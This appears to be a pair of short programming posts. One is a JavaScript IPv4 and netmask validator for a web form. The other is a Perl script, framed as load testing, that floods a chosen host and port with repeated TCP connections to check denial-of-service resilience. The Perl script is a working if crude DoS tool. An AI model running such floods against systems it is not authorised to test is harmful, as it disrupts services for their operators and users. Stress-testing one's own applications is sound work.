Validate/match IP address into a web form with Javascript

I have written this javascript function to validate an IP address (IPv4) and the netmask inside a html form:

function checkip() {
var ipaddress = document.getElementById("ip").value;
var subnet = document.getElementById("netmask").value;
var patt = /^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/;
var match = ipaddress.match(patt);
var match2 = subnet.match(patt);

if (ipaddress == "0.0.0.0") {
alert ("The IP Address field cannot be 0.0.0.0");
return false;
}

if (ipaddress == "255.255.255.255") {
alert ("The IP Address field cannot be 255.255.255.255");
return false;
}

if (match == null) {
alert ("Please review your IP Adrress!");
return false;
}

if (match2 == null) {
alert ("Please review your Subnet Mask!");
return false;
}

else {
document.getElementById("form1").submit();
window.close();
}
}

Perl - How to make a DOS

The purpose of this simple perl script  is to test an application to understand if it is vulnerable at DOS (Denial of Service) attacks.

You can specify the TCP/IP number port, the ip address and the number of connections which you want send to your applications.


#!/usr/bin/perl
use IO::Socket;

        if (@ARGV < 1) {
                usage();
        }

        $ip     = $ARGV[0];
        $port   = $ARGV[1];
        $conn   = $ARGV[2];

        $num    = 0;

        print "I'm sending $ARGV[2] connection requests to port $ARGV[1]\n";

        while ( $num <= $conn ) {
                system("echo -n .");
                $s = IO::Socket::INET->new(Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";

        close($s);
        $num++;
        }

        print "\n Your $ARGV[2] connection requests have been done !\n";

sub usage() {
        print "[-] Usage: <". $0 ."> <host> <port> <num-conn>\n";
        print "[-] Example: ". $0 ." 127.0.0.1 21 1200\n";
        exit;
}